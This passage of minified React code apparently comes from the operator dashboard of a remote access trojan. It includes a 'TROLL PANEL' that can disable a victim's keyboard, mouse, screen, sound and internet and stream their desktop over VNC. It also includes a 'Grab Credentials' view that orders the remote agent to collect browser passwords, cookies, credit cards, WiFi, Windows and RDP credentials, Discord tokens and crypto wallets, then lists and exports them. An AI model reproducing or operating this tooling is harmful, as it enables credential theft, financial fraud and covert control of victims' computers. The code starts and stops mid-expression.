https://","err");return}le("troll_website",[S]),k(!1),A("https://")}},ve=()=>{P.trim()&&(le("troll_wallpaper",[P]),O(!1),I(""))};return a.jsxs("div",{className:"flex flex-col h-full overflow-hidden",children:[a.jsxs("div",{className:"flex items-center gap-3 px-5 py-2.5 shrink-0 border-b border-[#1a1a20]",style:{background:"linear-gradient(180deg, #111115 0%, #0d0d11 100%)"},children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("div",{className:"w-5 h-5 flex items-center justify-center",style:{background:"rgba(239, 68, 68, 0.1)",border:"1px solid rgba(239, 68, 68, 0.2)"},children:a.jsxs("svg",{className:"w-3 h-3",viewBox:"0 0 24 24",fill:"none",stroke:"#ef4444",strokeWidth:2,children:[a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.362 5.214A8.252 8.252 0 0112 21 8.25 8.25 0 016.038 7.048 8.287 8.287 0 009 9.6a8.983 8.983 0 013.361-6.867 8.21 8.21 0 003 2.48z"}),a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 18a3.75 3.75 0 00.495-7.467 5.99 5.99 0 00-1.925 3.546 5.974 5.974 0 01-2.133-1A3.75 3.75 0 0012 18z"})]})}),a.jsx("span",{className:"font-display text-sm font-semibold tracking-wide text-[#ef4444]/80",children:"TROLL PANEL"})]}),a.jsx("div",{className:"w-px h-4 bg-[#1a1a20]"}),a.jsxs("div",{className:"flex items-center gap-1.5",children:[a.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:te&&r?"#22C55E":te?"#eab308":"#ef4444",boxShadow:te?"0 0 6px rgba(34,197,94,0.4)":"none"}}),a.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted",children:te&&r?"LIVE":te?"BUFFERING":"CONNECTING"})]}),te&&a.jsxs(a.Fragment,{children:[a.jsx("div",{className:"w-px h-4 bg-[#1a1a20]"}),a.jsxs("span",{className:"font-mono text-[10px] text-zerin-text-muted",children:[a.jsx("span",{className:"text-zerin-accent",children:C.fps})," FPS"]}),o.w>0&&a.jsxs(a.Fragment,{children:[a.jsx("div",{className:"w-px h-4 bg-[#1a1a20]"}),a.jsxs("span",{className:"font-mono text-[10px] text-zerin-text-muted",children:[o.w,"×",o.h]})]})]}),a.jsx("div",{className:"flex-1"}),a.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted/40",children:"VIEW ONLY"})]}),a.jsxs("div",{className:"flex flex-1 min-h-0 overflow-hidden",children:[a.jsxs("div",{className:"w-[200px] shrink-0 flex flex-col border-r border-[#1a1a20] overflow-y-auto",style:{background:"#0b0b0f"},children:[a.jsx("div",{className:"px-3 pt-3 pb-2",children:a.jsx("span",{className:"font-mono text-[9px] font-semibold tracking-[0.2em] text-zerin-text-muted/50 uppercase",children:"Actions"})}),a.jsxs("div",{className:"flex flex-col gap-1 px-2 pb-3",children:[a.jsx(Gs,{icon:a.jsx(nV,{}),label:"Message Box",desc:"Pop up a dialog",color:"#f59e0b",onClick:()=>h(!0)}),a.jsx(Gs,{icon:a.jsx(rV,{}),label:"Text to Speech",desc:"Read text aloud",color:"#8b5cf6",onClick:()=>w(!0)}),a.jsx(Gs,{icon:a.jsx(iV,{}),label:"Open Website",desc:"Launch a URL",color:"#06b6d4",onClick:()=>k(!0)}),a.jsx(Gs,{icon:a.jsx(aV,{}),label:"Wallpaper",desc:"Change background",color:"#10b981",onClick:()=>O(!0)}),a.jsx(Gs,{icon:a.jsx(sV,{}),label:"CD Tray",desc:"Eject disc drive",color:"#ec4899",onClick:()=>le("troll_cd_tray")})]}),a.jsxs("div",{className:"border-t border-[#1a1a20] px-3 py-3",children:[a.jsx("span",{className:"font-mono text-[9px] font-semibold tracking-[0.2em] text-zerin-text-muted/50 uppercase block mb-2.5",children:"Toggles"}),a.jsxs("div",{className:"flex flex-col gap-2",children:[a.jsx(Ri,{label:"Taskbar",active:c,color:"#06b6d4",onToggle:we}),a.jsx(Ri,{label:"Swap Mouse",active:Y,color:"#f59e0b",onToggle:()=>Ne(Y,D,"troll_swapmouse"),invert:!0}),a.jsx(Ri,{label:"Sound",active:!M,color:"#8b5cf6",onToggle:()=>Ne(M,W,"troll_disablesound")}),a.jsx(Ri,{label:"Screen",active:!$,color:"#ef4444",onToggle:()=>Ne($,H,"troll_blackscreen")}),a.jsx(Ri,{label:"Keyboard",active:!F,color:"#10b981",onToggle:()=>Ne(F,K,"troll_disablekeyboard")}),a.jsx(Ri,{label:"Mouse",active:!Z,color:"#ec4899",onToggle:()=>Ne(Z,oe,"troll_disablemouse")}),a.jsx(Ri,{label:"Internet",active:!de,color:"#06b6d4",onToggle:()=>Ne(de,be,"troll_reroutesites")})]})]})]}),a.jsxs("div",{className:"flex-1 flex items-center justify-center relative overflow-hidden",style:{background:"#08080a"},children:[a.jsx("div",{className:"absolute inset-0 pointer-events-none opacity-[0.03] z-10",style:{backgroundImage:"repeating-linear-gradient(0deg, transparent, transparent 2px, rgba(255,255,255,0.03) 2px, rgba(255,255,255,0.03) 4px)"}}),te&&r?a.jsx("canvas",{ref:t,className:"max-w-full max-h-full",style:{cursor:"default",aspectRatio:o.w>0?`${o.w}/${o.h}`:void 0,filter:"brightness(0.95)"}}):ne?a.jsxs("div",{className:"flex flex-col items-center gap-5",children:[a.jsxs("div",{className:"relative",children:[a.jsx("div",{className:"w-16 h-16 rounded-full border-2 animate-spin",style:{borderColor:"rgba(6, 182, 212, 0.1)",borderTopColor:"rgba(6, 182, 212, 0.6)"}}),a.jsx("div",{className:"absolute inset-0 flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-accent/40",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})})})]}),a.jsxs("div",{className:"text-center",children:[a.jsx("p",{className:"font-display text-sm font-medium text-zerin-text-dim mb-1",children:te?"Waiting for frame...":"Connecting to desktop..."}),a.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted",children:"View-only stream for live trolling"})]})]}):a.jsxs("div",{className:"flex flex-col items-center gap-5",children:[a.jsx("div",{className:"w-16 h-16 flex items-center justify-center",style:{background:"rgba(6, 182, 212, 0.08)",border:"1px solid rgba(6, 182, 212, 0.18)"},children:a.jsx("svg",{className:"w-7 h-7 text-zerin-accent/60",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})})}),a.jsxs("div",{className:"text-center",children:[a.jsx("p",{className:"font-display text-sm font-medium text-zerin-text-dim mb-1",children:"Connect to live desktop view?"}),a.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted mb-4",children:"This will start a VNC session to stream the agent's screen"}),a.jsx("button",{onClick:()=>B(!0),className:"px-4 py-2 text-xs font-semibold text-white transition-all",style:{background:"#06b6d4",boxShadow:"0 0 12px rgba(6,182,212,0.3)"},children:"Connect VNC"})]})]}),d&&a.jsx("div",{className:"absolute bottom-4 left-1/2 -translate-x-1/2 z-20 px-4 py-2 font-mono text-xs animate-fade-in",style:{background:"#111115",border:`1px solid ${d.type==="err"?"rgba(239,68,68,0.3)":"rgba(6,182,212,0.25)"}`,color:d.type==="err"?"#ef4444":"#06b6d4"},children:d.text})]})]}),p&&a.jsxs(ic,{title:"Message Box",color:"#f59e0b",onClose:()=>h(!1),children:[a.jsxs("div",{className:"space-y-3",children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"TITLE"}),a.jsx("input",{type:"text",value:x,onChange:V=>g(V.target.value),placeholder:"Window title...",className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text\r placeholder-zerin-text-muted/40 focus:outline-none focus:border-[#f59e0b]/30 transition-colors`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"MESSAGE"}),a.jsx("textarea",{value:y,onChange:V=>v(V.target.value),placeholder:"Enter message...",rows:3,className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text\r placeholder-zerin-text-muted/40 resize-none focus:outline-none focus:border-[#f59e0b]/30 transition-colors`,autoFocus:!0})]})]}),a.jsx(ac,{onCancel:()=>h(!1),onSend:Ae,color:"#f59e0b",disabled:!y.trim()})]}),b&&a.jsxs(ic,{title:"Text to Speech",color:"#8b5cf6",onClose:()=>w(!1),children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"TEXT"}),a.jsx("textarea",{value:j,onChange:V=>N(V.target.value),placeholder:"What should they hear?",rows:3,className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text\r placeholder-zerin-text-muted/40 resize-none focus:outline-none focus:border-[#8b5cf6]/30 transition-colors`,autoFocus:!0})]}),a.jsx(ac,{onCancel:()=>w(!1),onSend:R,color:"#8b5cf6",disabled:!j.trim()})]}),z&&a.jsxs(ic,{title:"Open Website",color:"#06b6d4",onClose:()=>k(!1),children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"URL"}),a.jsx("input",{type:"text",value:S,onChange:V=>A(V.target.value),placeholder:"https://...",className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text font-mono\r placeholder-zerin-text-muted/40 focus:outline-none focus:border-zerin-accent/30 transition-colors`,autoFocus:!0})]}),a.jsx(ac,{onCancel:()=>k(!1),onSend:fe,color:"#06b6d4",disabled:!S.trim()||S==="https://"})]}),_&&a.jsxs(ic,{title:"Change Wallpaper",color:"#10b981",onClose:()=>O(!1),children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"IMAGE PATH OR URL"}),a.jsx("input",{type:"text",value:P,onChange:V=>I(V.target.value),placeholder:"C:\\path\\to\\image.jpg or https://...",className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text font-mono\r placeholder-zerin-text-muted/40 focus:outline-none focus:border-[#10b981]/30 transition-colors`,autoFocus:!0})]}),a.jsx(ac,{onCancel:()=>O(!1),onSend:ve,color:"#10b981",disabled:!P.trim()})]})]})}function Gs({icon:e,label:t,desc:n,color:r,onClick:i}){return a.jsxs("button",{onClick:i,className:"group flex items-center gap-3 px-3 py-2.5 text-left transition-all duration-150 hover:translate-x-0.5",style:{background:"transparent"},onMouseEnter:s=>{s.currentTarget.style.background=`${r}08`,s.currentTarget.style.borderLeft=`2px solid ${r}40`,s.currentTarget.style.paddingLeft="10px"},onMouseLeave:s=>{s.currentTarget.style.background="transparent",s.currentTarget.style.borderLeft="none",s.currentTarget.style.paddingLeft="12px"},children:[a.jsx("div",{className:"w-8 h-8 flex items-center justify-center shrink-0 transition-colors",style:{background:`${r}10`,border:`1px solid ${r}20`},children:a.jsx("div",{style:{color:`${r}cc`},children:e})}),a.jsxs("div",{className:"min-w-0",children:[a.jsx("div",{className:"text-[12px] font-medium text-zerin-text-dim group-hover:text-zerin-text transition-colors leading-tight",children:t}),a.jsx("div",{className:"text-[10px] text-zerin-text-muted/50 leading-tight mt-0.5",children:n})]})]})}function ic({title:e,color:t,onClose:n,children:r}){return a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/70",onClick:n,children:a.jsxs("div",{className:"w-full max-w-sm mx-4 animate-scale-in",style:{background:"#111115",border:`1px solid ${t}25`,boxShadow:`0 0 40px ${t}08`},onClick:i=>i.stopPropagation(),children:[a.jsxs("div",{className:"flex items-center gap-2 px-4 py-3 border-b",style:{borderColor:`${t}15`},children:[a.jsx("div",{className:"w-2 h-2 rounded-full",style:{background:t,boxShadow:`0 0 8px ${t}60`}}),a.jsx("span",{className:"font-display text-sm font-semibold",style:{color:t},children:e})]}),a.jsx("div",{className:"p-4 space-y-4",children:r})]})})}function ac({onCancel:e,onSend:t,color:n,disabled:r}){return a.jsxs("div",{className:"flex items-center justify-end gap-2 pt-1",children:[a.jsx("button",{onClick:e,className:`px-3 py-1.5 text-xs font-medium text-zerin-text-muted\r hover:text-zerin-text-dim bg-[#18181c] hover:bg-[#1f1f25] transition-colors`,children:"Cancel"}),a.jsx("button",{onClick:t,disabled:r,className:`px-4 py-1.5 text-xs font-semibold text-white transition-all\r disabled:opacity-30 disabled:cursor-not-allowed`,style:{background:r?"#333":n,boxShadow:r?"none":`0 0 12px ${n}40`},children:"Send"})]})}function Ri({label:e,active:t,color:n,onToggle:r,invert:i}){const s=t;return a.jsxs("div",{className:"flex items-center justify-between",children:[a.jsx("span",{className:"text-[11px] text-zerin-text-dim font-medium",children:e}),a.jsx("button",{onClick:r,className:"relative w-9 h-[20px] rounded-full transition-colors duration-200 focus:outline-none",style:{background:s?`${n}30`:"rgba(239, 68, 68, 0.2)",border:`1px solid ${s?`${n}40`:"rgba(239, 68, 68, 0.3)"}`},children:a.jsx("div",{className:"absolute top-[2px] w-3.5 h-3.5 rounded-full transition-all duration-200",style:{left:s?"18px":"2px",background:s?n:"#ef4444",boxShadow:`0 0 6px ${s?`${n}50`:"rgba(239,68,68,0.4)"}`}})})]})}function nV(){return a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 10h.01M12 10h.01M16 10h.01M9 16H5a2 2 0 01-2-2V6a2 2 0 012-2h14a2 2 0 012 2v8a2 2 0 01-2 2h-5l-5 5v-5z"})})}function rV(){return a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.114 5.636a9 9 0 010 12.728M16.463 8.288a5.25 5.25 0 010 7.424M6.75 8.25l4.72-4.72a.75.75 0 011.28.53v15.88a.75.75 0 01-1.28.53l-4.72-4.72H4.51c-.88 0-1.704-.507-1.938-1.354A9.01 9.01 0 012.25 12c0-.83.112-1.633.322-2.396C2.806 8.756 3.63 8.25 4.51 8.25H6.75z"})})}function iV(){return a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 21a9.004 9.004 0 008.716-6.747M12 21a9.004 9.004 0 01-8.716-6.747M12 21c2.485 0 4.5-4.03 4.5-9S14.485 3 12 3m0 18c-2.485 0-4.5-4.03-4.5-9S9.515 3 12 3m0 0a8.997 8.997 0 017.843 4.582M12 3a8.997 8.997 0 00-7.843 4.582m15.686 0A11.953 11.953 0 0112 10.5c-2.998 0-5.74-1.1-7.843-2.918m15.686 0A8.959 8.959 0 0121 12c0 .778-.099 1.533-.284 2.253m0 0A17.919 17.919 0 0112 16.5c-3.162 0-6.133-.815-8.716-2.247m0 0A9.015 9.015 0 013 12c0-1.605.42-3.113 1.157-4.418"})})}function aV(){return a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 15.75l5.159-5.159a2.25 2.25 0 013.182 0l5.159 5.159m-1.5-1.5l1.409-1.409a2.25 2.25 0 013.182 0l2.909 2.909m-18 3.75h16.5a1.5 1.5 0 001.5-1.5V6a1.5 1.5 0 00-1.5-1.5H3.75A1.5 1.5 0 002.25 6v12a1.5 1.5 0 001.5 1.5zm10.5-11.25h.008v.008h-.008V8.25zm.375 0a.375.375 0 11-.75 0 .375.375 0 01.75 0z"})})}function sV(){return a.jsxs("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:[a.jsx("circle",{cx:"12",cy:"12",r:"9"}),a.jsx("circle",{cx:"12",cy:"12",r:"3"})]})}function oV({agentId:e,agentStatus:t,autoGrab:n,onAutoGrabConsumed:r}){var z,k,S,A,_,O,P,I,Y,D,M,W,$,H,F,K,Z,oe,de,be,ye,G,te,C,q,ne,B,le,we,Ne,Ae,R,fe,ve,V,ae,U,Q,he,E,ce,J,xe,ke,ze;const[i,s]=m.useState(null),[o,l]=m.useState(!1),[c,u]=m.useState(""),[d,f]=m.useState(new Set),p=t==="dead",h=m.useRef(null);m.useEffect(()=>()=>{h.current&&clearInterval(h.current)},[]);const x=m.useRef(!1);m.useEffect(()=>{n&&!x.current&&!p&&(x.current=!0,y(),r==null||r())},[n]);const g=X=>{f(re=>{const se=new Set(re);return se.has(X)?se.delete(X):se.add(X),se})},y=m.useCallback(async()=>{if(!p){l(!0),u(""),s(null),h.current&&(clearInterval(h.current),h.current=null);try{const{task_id:X}=await Me(e,{command:"creds"});let re=0;h.current=setInterval(async()=>{var se,Oe,et,T,ie,ue,lt,Ct,Lt,gr,Qr,Li,_s;re++;try{const Jr=(se=(await Xn(e)).results)==null?void 0:se.find(bt=>bt.task_id===X);if(Jr){if(h.current&&clearInterval(h.current),h.current=null,l(!1),Jr.error){u(Jr.error);return}if(Jr.output)try{const bt=JSON.parse(Jr.output);s(bt);const rn=new Set;(Oe=bt.chrome_passwords)!=null&&Oe.length&&rn.add("chrome_passwords"),(et=bt.firefox_passwords)!=null&&et.length&&rn.add("firefox_passwords"),(T=bt.wifi)!=null&&T.length&&rn.add("wifi"),(ie=bt.windows_credentials)!=null&&ie.length&&rn.add("windows_credentials"),(ue=bt.discord_tokens)!=null&&ue.length&&rn.add("discord_tokens"),(lt=bt.wallets)!=null&<.length&&rn.add("wallets"),(Ct=bt.vpn)!=null&&Ct.length&&rn.add("vpn"),((Lt=bt.steam)!=null&&Lt.found||(gr=bt.epic)!=null&&gr.found||(Qr=bt.minecraft)!=null&&Qr.length||(Li=bt.roblox)!=null&&Li.found)&&rn.add("gaming"),(_s=bt.errors)!=null&&_s.length&&rn.add("errors"),f(rn)}catch{u("Failed to parse credential data")}}else re>=60&&(h.current&&clearInterval(h.current),h.current=null,l(!1),u("Timed out waiting for results"))}catch{}},3e3)}catch(X){l(!1),u(X instanceof Error?X.message:"Failed to submit task")}}},[e,p]),[v,b]=m.useState(null),w=(X,re)=>{navigator.clipboard.writeText(X).then(()=>{const se=re?re.clientX:window.innerWidth/2,Oe=re?re.clientY-30:window.innerHeight/2;b({text:"Copied!",x:se,y:Oe}),setTimeout(()=>b(null),1200)}).catch(()=>{})},j=(X,re)=>{try{const se=atob(X),Oe=new Uint8Array(se.length);for(let ue=0;ue{if(!i)return;const X=new Blob([JSON.stringify(i,null,2)],{type:"application/json"}),re=URL.createObjectURL(X),se=document.createElement("a");se.href=re,se.download=`credentials_${e.slice(0,8)}.json`,se.click(),URL.revokeObjectURL(re)};return a.jsxs("div",{className:"p-6 animate-fade-in space-y-4",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("button",{onClick:y,disabled:o||p,className:`inline-flex items-center gap-2 text-sm font-medium\r bg-zerin-accent hover:bg-zerin-accent-hover text-white\r px-4 py-2 transition-colors\r disabled:opacity-30 disabled:cursor-not-allowed`,children:o?a.jsxs(a.Fragment,{children:[a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}),"Grabbing..."]}):a.jsxs(a.Fragment,{children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.75 5.25a3 3 0 013 3m3 0a6 6 0 01-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1121.75 8.25z"})}),"Grab Credentials"]})}),i&&a.jsxs("button",{onClick:N,className:`inline-flex items-center gap-1.5 text-sm font-medium\r text-zerin-text-dim hover:text-zerin-text\r bg-zerin-panel hover:bg-zerin-panel-hover\r border border-zerin-panel-border\r px-3 py-2 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"Export JSON"]}),p&&a.jsx("span",{className:"text-zerin-danger text-xs font-medium",children:"Agent offline"})]}),c&&a.jsx("div",{className:"bg-zerin-danger-dim border border-zerin-danger/20 px-4 py-3 text-sm text-zerin-danger",children:c}),i&&a.jsxs("div",{className:"space-y-2",children:[a.jsx(Rn,{title:"Browser Passwords",count:(((z=i.chrome_passwords)==null?void 0:z.length)??0)+(((k=i.firefox_passwords)==null?void 0:k.length)??0),expanded:d.has("chrome_passwords")||d.has("firefox_passwords"),onToggle:()=>{g("chrome_passwords"),g("firefox_passwords")},children:[...i.chrome_passwords??[],...i.firefox_passwords??[]].length===0?a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No passwords found"}):a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"URL"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Username"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:[...i.chrome_passwords??[],...i.firefox_passwords??[]].map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.browser??"Firefox"}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate",children:X.url}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:se=>w(X.username,se),children:X.username}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:se=>w(X.password,se),children:X.password?"••••••••":""})]},re))})]})}),a.jsx(Rn,{title:"Browser Cookies",count:((S=i.chrome_cookies)==null?void 0:S.length)??0,expanded:d.has("chrome_cookies"),onToggle:()=>g("chrome_cookies"),children:(A=i.chrome_cookies)!=null&&A.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Host"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Name"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Value"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.chrome_cookies.map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.browser}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:X.host}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:X.name}),a.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate cursor-pointer hover:text-zerin-accent",onClick:se=>w(X.value,se),children:[X.value.slice(0,40),"..."]})]},re))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No cookies found"})}),a.jsx(Rn,{title:"Credit Cards",count:((_=i.chrome_cards)==null?void 0:_.length)??0,expanded:d.has("chrome_cards"),onToggle:()=>g("chrome_cards"),children:(O=i.chrome_cards)!=null&&O.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Name"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Number"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Exp"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.chrome_cards.map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.browser}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text",children:X.name}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:se=>w(X.number,se),children:X.number}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.exp})]},re))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No credit cards found"})}),a.jsx(Rn,{title:"WiFi Passwords",count:((P=i.wifi)==null?void 0:P.length)??0,expanded:d.has("wifi"),onToggle:()=>g("wifi"),children:(I=i.wifi)!=null&&I.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"SSID"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Auth"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.wifi.map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-medium",children:X.ssid}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.auth}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:se=>w(X.password,se),children:X.password||"(none)"})]},re))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No WiFi passwords found"})}),a.jsx(Rn,{title:"Windows Credentials",count:((Y=i.windows_credentials)==null?void 0:Y.length)??0,expanded:d.has("windows_credentials"),onToggle:()=>g("windows_credentials"),children:(D=i.windows_credentials)!=null&&D.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Target"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Username"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Type"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.windows_credentials.map((X,re)=>a.jsxs("tr",{className:`hover:bg-zerin-panel-hover ${X.is_rdp?"bg-zerin-accent-muted/30":""}`,children:[a.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate",children:[X.is_rdp&&a.jsx("span",{className:"text-zerin-accent font-medium mr-1",children:"[RDP]"}),X.target]}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:se=>w(X.username,se),children:X.username}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:se=>w(X.password,se),children:X.password?"••••••••":""}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.type})]},re))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No Windows credentials found"})}),a.jsx(Rn,{title:"Discord Tokens",count:((M=i.discord_tokens)==null?void 0:M.length)??0,expanded:d.has("discord_tokens"),onToggle:()=>g("discord_tokens"),children:(W=i.discord_tokens)!=null&&W.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Source"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Type"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Token"})]})}),a.jsx("tbody",{className:"divide-y 